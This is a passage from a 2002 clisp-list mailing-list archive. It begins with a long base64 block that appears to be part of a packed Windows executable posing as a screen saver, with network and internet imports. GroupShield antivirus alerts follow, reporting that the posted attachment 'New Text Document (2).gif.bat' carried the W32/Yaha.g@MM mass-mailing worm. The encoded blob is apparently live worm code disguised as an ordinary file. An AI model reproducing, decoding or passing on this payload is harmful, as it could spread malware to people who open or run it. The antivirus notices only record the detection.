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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAwAAACgAAIAOAAAAaAAAgBAAAACoAACAAAAAAAAAAAAA AAAAAAABAAEAAABAAACAAAAAAAAAAAAAAAAAAAABAAkEAABYAAAA7FABAOgCAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAQBsAAAAgAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAmAAAANhTAQAUAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAMAAAIAAAAAAAAAAAAAAAAAAAAEACQQAANgAAADwUwEA KAMAAAAAAAAAAAAAGCQBACgAAAAgAAAAQAAAAAEABAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP// AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAPoAAAAAAAAAAAAAAAAAAAD6AAAAAAAAAAAAAAAAAAAPqqAAAAAAAAAAAAAAAAAAD6qgAAAA AAAAAAAAAAAAAPqqqgAAAAAAAAAAAAAAAAD6qqoAAAAAAAAAAAAAAAAPqqqqoAAAAAAAAAAAAAAA +qqqqqoAAAAAAAAAAAAAD6qqqqqqoAAAAAAAAAAAAA+qqqqqqqAAAAAAAAAAAAD6qqqqqqqqAAAA AAAAAAAPqqqqqqqqqqAAAAAAAAAA+qqqqqqqqqqqAAAAAAAAD6qqqqqqqqqqqqAAAAAAAPqqqqqq qqqqqqqqAAAAAAD6qqqqqqqqqqqqqgAAAAAPqqqqqqqqqqqqqqqgAAAAD6qqqqqqqqqqqqqqoAAA APqqqqqqqqqqqqqqqqoAAAD6qqqqqqqvqqqqqqqqAAAA+qqqqqqqAPqqqqqqqgAAAPqqqqqqqgD6 qqqqqqoAAAAPqqqqqqAAD6qqqqqgAAAAD6qqqqqgAA+qqqqqoAAAAAD/qqqqAAAA/6qqqgAAAAAA AP///wAAAAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAD//////////////////H////x////4P///+D////Af///wH///4A///8AH//+AA///gAP/ /wAB//4AAP/8AAB/+AAAP/AAAB/wAAAf4AAAD+AAAA/AAAAHwAAAB8ABAAfAAQAH4AOAD+ADgA/w B8Af/A/wP////////////////wAnAQAAAAEAAQAgIBAAAQAEAOgCAAABAPAgAQAoAzQAAABWAFMA XwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAUAAgAAAAAABQACAAAAPwAA AAAAAAAEAAQAAQAAAAAAAAAAAAAAAAAAAIgCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYA bwAAAGQCAAABADAANAAwADkAMAA0AGIAMAAAADIADQABAEMAbwBtAG0AZQBuAHQAcwAAAFMAYwBy AGUAZQBuACAAUwBhAHYAZQByAAAAAABIABQAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAHcA dwB3AC4AcwBjAHIAZQBlAG4AcwBhAHYAZQByAC4AYwBvAG0AAABCAA0AAQBGAGkAbABlAEQAZQBz AGMAcgBpAHAAdABpAG8AbgAAAAAAUwBjAHIAZQBlAG4AIABTAGEAdgBlAHIAAAAAADYACwABAEYA aQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAsACAAMAAsACAAMAAsACAAMgAAAAAAIAAAAAEASQBu AHQAZQByAG4AYQBsAE4AYQBtAGUAAABGABEAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQA AABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAyADAAMAAyAAAAAAAoAAAAAQBMAGUAZwBhAGwAVABy AGEAZABlAG0AYQByAGsAcwAAAAAAKAAAAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0A ZQAAACAAAAABAFAAcgBpAHYAYQB0AGUAQgB1AGkAbABkAAAAIAAAAAEAUAByAG8AZAB1AGMAdABO AGEAbQBlAAAAAAA6AAsAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAA1ACwAIAAwACwA IAAwACwAIAAyAAAAAAAgAAAAAQBTAHAAZQBjAGkAYQBsAEIAdQBpAGwAZAAAAEQAAAABAFYAYQBy AEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAE AAAAAAAAAAAAAAAA+FcBALhXAQAAAAAAAAAAAAAAAAAFWAEAyFcBAAAAAAAAAAAAAAAAABJYAQDQ VwEAAAAAAAAAAAAAAAAAHFgBANhXAQAAAAAAAAAAAAAAAAAkWAEA4FcBAAAAAAAAAAAAAAAAAC9Y AQDoVwEAAAAAAAAAAAAAAAAAO1gBAPBXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAEZYAQBUWAEAZFgB AAAAAAByWAEAAAAAAIBYAQAAAAAAiFgBAAAAAACYWAEAAAAAAKBYAQAAAAAAdAAAgAAAAABLRVJO RUwzMi5ETEwAQURWQVBJMzIuZGxsAEdESTMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5F VC5kbGwAV1MyXzMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9j ZXNzAAAAUmVnQ2xvc2VLZXkAAABCaXRCbHQAAFdOZXRDbG9zZUVudW0AAABHZXREQwAAAEludGVy bmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAzjLFBhEwZARKs4Gkt34QqjlLFo+XcUvinwrRCBNZS1HGv89mTOBWe8vb2zupOjozrZrm68nY 4K7kK+CUMO/tJvgju7tT0NbNwhnBPJbhQIIJyAZ229cKIT7QF5VKiCYK8QbTnsXqopp6c5h+5KdE 8NwfdaLqgsJCVubVFC/r94ItIglrZJ2Fa7vgNFd+GEsIQ7m5oXlgdDpPiU2QiHCLAJn0fiM6fxz4 WlazokUTXGVObeokDlAsWFlE52CAms4xONH4HJOiBQ+IZfb3UfCXsIcUa2+AhgPeA9qzS1RR1NZU 79WFyF/eeF+VMYEfJvjHfDJGeO6LJ1XOnBvNkueL3lVHoBWVfF9UuFAD2EG6UnsiPs2qpE2lKuLL 6efX3N8WMp+EAdwP7Lkcq5JbfOixwlh2ACsmDIUiJqeyJyUyy3lu4xs8yl4xrLXJhOX1YO+4pyAs jhNI1bwrIT3Ar0kmWKZrkTieTZ6LfpbuDODx9oZRDDAwcAOADEfryHywl9Cv37t7Fujxqbkor27T vBB9YVYkOeZ2dIzFcdEhwtAyj/fpEcdhcJ+ypx264+44V3G1Yw02MV0z0g15NauZ+HYtjV6D+XBD PTHEWynjtk7HgOrVQToX50U4ycKH8IwO6GXYc+ITFnrch9XhLmDrDKJuk+whGinW45JhndlIuluq BI9DIo68qgoFkiLxwSDFrOtUZc7nvCLFzQboUVb3WBykT3KnM3FKd+vEaWAOUjLvpMTvaFaXI9ud CTC9Ipax1PXPYxV44FJVl1mkVGcgELtS6L3ZeyxVgcb169tthEvopRNfsDk22kBETJxX1eFS0HuN 26/0e0xjCV0MQiVoTdQ74iCcrD0h3iTHtPKUWUI6wabzqLgwFIIczXJG6C8XKFZkSbu0bq6UWwUS dHINPl6mbIgbV3mmN50qhSmxzh4Xe885DJa+Qs4oQ38ZmvEN6qkay0PVEZUqNzaQE/JuPOUdTtgl 2NbTX4/ns8nGnogjVsadNp96OI6G64LkuRBqgr8q95fe25+osnTcfT9c00Ah93oDnp1/pyk+A2hP N9n05OkEsE6U6iOidAvQh/ItJ3M2zUpCFEtBfmBoR5vlCavRBzy3HGhqoHOWCGLKxyn2rOyq10YT 9GI9ldr4DemdgfUfaq4HT+GLBqAnip3lkw0v3sQAH0/egLkFF7lpiGBytuNGdRLMd2RhgbqKHttY XlrDhimSOa9kfj+0uOujjixmKCXXySVaJHIMhmq4xbkAYXJIg9WxUCb3rO/1cbVXYiXQA2IeCgYX KFo0InuIEl2L9tvwuVvRM3L0t2Ygw0U0cPWzl5i+PsldhiNex3AhZyg+1W9USoBiT8DLhZ2cJEdA griZIV7nTtHfR9KtfpU4bW6vlWY6Asfp0YkEOlHYUAmwQpYpWC7Qg7BwBGc1p2B+03QIJITq9pgG Iit57betrdc0jHHGZzESZycKB9Kmx3me0Aj4LV6/gm5WP3i++b6QVz9Bf38qMzOJjTO2AvmbcWp8 2SqUgTYA9bY22OtgepuLx0UItUJWxamaW1QbdmiggHubJdyyBh7pmx2cBaIZ6BvdPkhtvEhdgvN2 IwTpEgKx1yTz1o/kKnURozhL+TaXkFRmEw/YCbTR5wrUYavchHxHUCS9BhYr55tMqpCHo5/Dmvaa tQPmUZmcu8U5D15DyxSUgW8aN2DI3qJ6ROW923kM --dtjsnvc-- From NAISSDEXCHANGE1@ssd.fsi.com Mon Dec 09 22:28:33 2002 Received: from ssd1.ssd.fsi.com ([65.115.221.98] helo=ssd.fsi.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ldse-0004Y4-00 for ; Mon, 09 Dec 2002 22:28:32 -0800 Message-ID: From: "GroupShield for Exchange (EXCHANGE1)" To: 'chinnu_konda' , "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_99dfb454dd97e5a23a5cb29e50f6e8aa" Subject: [clisp-list] ALERT - GroupShield ticket number OB15_1039501706_EXCHANGE1_1 wa s generated Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 9 22:29:05 2002 X-Original-Date: Tue, 10 Dec 2002 00:28:28 -0600 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --=_99dfb454dd97e5a23a5cb29e50f6e8aa Content-Type: text/plain Action Taken: The message was quarantined and replaced with a text informing the recipient of the action taken. To: clisp-list@lists.sourceforge.net From: chinnu_konda Sent: 1495447424,29532181 Subject: [clisp-list] Fw: New Text Document (2) Attachment Details:- Attachment Name: N/A File: Infected.msg Infected? Yes Repaired? No Blocked? No Deleted? No Virus Name: Exploit-MIME.gen.b --=_99dfb454dd97e5a23a5cb29e50f6e8aa Content-Type: application/ms-tnef Content-Transfer-Encoding: base64 eJ8+Ih0GAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGQAAAElQTS5BbnRp LVZpcnVzLlJlcG9ydC40NQAnCAEFgAMADgAAANIHDAAKAAAAHAAcAAIAKQEBIIADAA4AAADSBwwA CgAAABwAHAACACkBAQmAAQAhAAAAMzZDMzlENzdDRDM0QUE0RkFCQjU0MjYzRkFCRkYyN0EAfAcB BIABAE0AAABBTEVSVCAtICBHcm91cFNoaWVsZCB0aWNrZXQgbnVtYmVyIE9CMTVfMTAzOTUwMTcw Nl9FWENIQU5HRTFfMSB3YXMgZ2VuZXJhdGVkAMsXAQ2ABAACAAAAAgACAAEDkAYAJAYAAB8AAABA ADkAsGXVWRWgwgEDAPE/CQQAAB4AMUABAAAAEAAAAE5BSVNTREVYQ0hBTkdFMQADABpAAAAAAB4A MEABAAAAEAAAAE5BSVNTREVYQ0hBTkdFMQADABlAAAAAAAIBCRABAAAA3gEAANoBAAAeAwAATFpG dZXuv4iHAAoBDQNDdGV4dAH3/wKkA+QF6wKDAFAC8wa0AoMmMgPFAgBjaArAc2XYdDAgBxMCgH0K gAjPfwnZAoAKhAs3EsIB0BPgY4R0aQIgIFRhawnwhjoKowqAVGhlIAeBSHNhZxkwd2EEIHGudQrA AHAX8G4JgCAAcDcasBVAC1FjGqED8HRoNRrAIA7yIAuAAhBybd0LgGccABkhFUBjBSAIkPECMCBv ZhzzANAX8wGQLRhhLhilGKZvGJZjbEkEAHAtILF0QCECc7wucwhhG2AcgRmgLhqQrQVAPCCvIb0+ HyxGA2GFICdoC4BudV9rAiAOZBvwIrAmiUBob3TrAMADEC4FoG0kzQZgAjABGJYxNDk1NDQ3IDQy NCwyKqAzMowxOABQKPx1YmoFkAUp91siyF0gRnc6hQezVBwiRG9jdQeA0R2xKDIpHyxBAkAA0Bpo L2NEE7AoYXM6LTMv7zD2TmEHgC5xL0F3JUYDEDPBSRxwLNEJgC4YbXNnGKU09j8gWXsHkBilUhsg C3AVQTagTupvGKVCFNBjGGA32jFw1zSwNnM4B1Y3oHUHoTOjFEV4C1BvG7AtTUn4TUUuGaAfAAww Hzs9LQkBkSB9PtAAAAMA/T/kBAAAHgBwAAEAAABNAAAAQUxFUlQgLSAgR3JvdXBTaGllbGQgdGlj a2V0IG51bWJlciBPQjE1XzEwMzk1MDE3MDZfRVhDSEFOR0UxXzEgd2FzIGdlbmVyYXRlZAAAAAAC AXEAAQAAABYAAAABwqAVWdXHTCyEtyVCD42SUTuj7ebtAAACAUcAAQAAADAAAABjPVVTO2E9IDtw PUZTSTtsPUVYQ0hBTkdFMS0wMjEyMTAwNjI4MjhaLTExMTA5MwACAfk/AQAAAEsAAAAAAAAA3KdA yMBCEBq0uQgAKy/hggEAAAAAAAAAL089RlNJL09VPVNTRC9DTj1SRUNJUElFTlRTL0NOPU5BSVNT REVYQ0hBTkdFMQAAHgD4PwEAAAAhAAAAR3JvdXBTaGllbGQgRXhjaGFuZ2UgKEVYQ0hBTkdFMSkA AAAAHgA4QAEAAAAQAAAATkFJU1NERVhDSEFOR0UxAAIB+z8BAAAASwAAAAAAAADcp0DIwEIQGrS5 CAArL+GCAQAAAAAAAAAvTz1GU0kvT1U9U1NEL0NOPVJFQ0lQSUVOVFMvQ049TkFJU1NERVhDSEFO R0UxAAAeAPo/AQAAACUAAABHcm91cFNoaWVsZCBmb3IgRXhjaGFuZ2UgKEVYQ0hBTkdFMSkAAAAA HgA5QAEAAAAQAAAATkFJU1NERVhDSEFOR0UxAEAABzDbhrZZFaDCAUAACDBZ5vZZFaDCAR4APQAB AAAAAQAAAAAAAAAeAB0OAQAAAE0AAABBTEVSVCAtICBHcm91cFNoaWVsZCB0aWNrZXQgbnVtYmVy IE9CMTVfMTAzOTUwMTcwNl9FWENIQU5HRTFfMSB3YXMgZ2VuZXJhdGVkAAAAAB4ANRABAAAAPwAA ADw0MTcwQjg2M0ExRjVDQTRFOEZBRUZDOURCMDM0OUY0NTlGODcwMkBleGNoYW5nZTEuc3NkLmZz aS5jb20+AAADADYAAAAAAAsAKQAAAAAACwAjAAAAAAADAAYQK9NGfQMABxB9AQAAAwAQEAAAAAAD ABEQAAAAAB4ACBABAAAAZQAAAEFDVElPTlRBS0VOOlRIRU1FU1NBR0VXQVNRVUFSQU5USU5FREFO RFJFUExBQ0VEV0lUSEFURVhUSU5GT1JNSU5HVEhFUkVDSVBJRU5UT0ZUSEVBQ1RJT05UQUtFTlRP OkNMSVMAAAAAAgF/AAEAAAA/AAAAPDQxNzBCODYzQTFGNUNBNEU4RkFFRkM5REIwMzQ5RjQ1OUY4 NzAyQGV4Y2hhbmdlMS5zc2QuZnNpLmNvbT4AAAmP --=_99dfb454dd97e5a23a5cb29e50f6e8aa-- From NAISSDEXCHANGE1@ssd.fsi.com Mon Dec 09 22:28:37 2002 Received: from ssd1.ssd.fsi.com ([65.115.221.98] helo=ssd.fsi.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ldsh-0004Y4-00 for ; Mon, 09 Dec 2002 22:28:35 -0800 Message-ID: <6d4b9b9f7191de21eeb83ffde641695e3df58931@ssd.fsi.com> From: "GroupShield for Exchange (EXCHANGE1)" To: 'chinnu_konda' , "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_52b2f43a68f537e2143a940e365a4846" Subject: [clisp-list] ALERT - GroupShield ticket number OA89_1039501706_EXCHANGE1_1 wa s generated Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 9 22:29:06 2002 X-Original-Date: Tue, 10 Dec 2002 00:28:27 -0600 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --=_52b2f43a68f537e2143a940e365a4846 Content-Type: text/plain Action Taken: The attachment was deleted from the message and replaced with a text file informing the recipient of the action taken. To: clisp-list@lists.sourceforge.net From: chinnu_konda Sent: 1969585280,29530320 Subject: [clisp-list] Fw: New Text Document (2) Attachment Details:- Attachment Name: New Text Document (2).gif.bat File: New Text Document (2).gif.bat Infected? Yes Repaired? No Blocked? No Deleted? Yes Virus Name: W32/Yaha.g@MM --=_52b2f43a68f537e2143a940e365a4846 Content-Type: application/ms-tnef Content-Transfer-Encoding: base64 eJ8+Ih0GAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGQAAAElQTS5BbnRp LVZpcnVzLlJlcG9ydC40NQAnCAEFgAMADgAAANIHDAAKAAAAHAAbAAIAKAEBIIADAA4AAADSBwwA CgAAABwAGwACACgBAQmAAQAhAAAAQ0JERTI0OEQxNEI0Mjk0QUI1MzdCQzA1NjA2NzlFRUQAUAcB BIABAE0AAABBTEVSVCAtICBHcm91cFNoaWVsZCB0aWNrZXQgbnVtYmVyIE9BODlfMTAzOTUwMTcw Nl9FWENIQU5HRTFfMSB3YXMgZ2VuZXJhdGVkANUXAQ2ABAACAAAAAgACAAEDkAYALAYAACAAAABA ADkAMFmjWRWgwgEDAPE/CQQAAB4AMUABAAAAEAAAAE5BSVNTREVYQ0hBTkdFMQADABpAAAAAAB4A MEABAAAAEAAAAE5BSVNTREVYQ0hBTkdFMQADABlAAAAAAAIBCRABAAAA4QEAAN0BAABaAwAATFpG dRUg0W+HAAoBDQNDdGV4dAH3/wKkA+QF6wKDAFAC8wa0AoMmMgPFAgBjaArAc2XYdDAgBxMCgH0K gAjPfwnZAoAKhAs3EsIB0BPgY4R0aQIgIFRhawnwBjoKowqAVGhlIGEbAkAA0GgHgAIwIHdhWwQg AQBsE7AJgCADUiBGdBkhB4FzYWcZMW73GqAVQAtRYxqRA/AbEBlAfxsADwEasAMQGTALgAIQctpt C4BnGwMVQGMFIAiQ+RnRb2YbAwDQF/MBkBhhli4YpRimbxiWY2wEACRwLSIBdEAiUnMunnMIYRxg 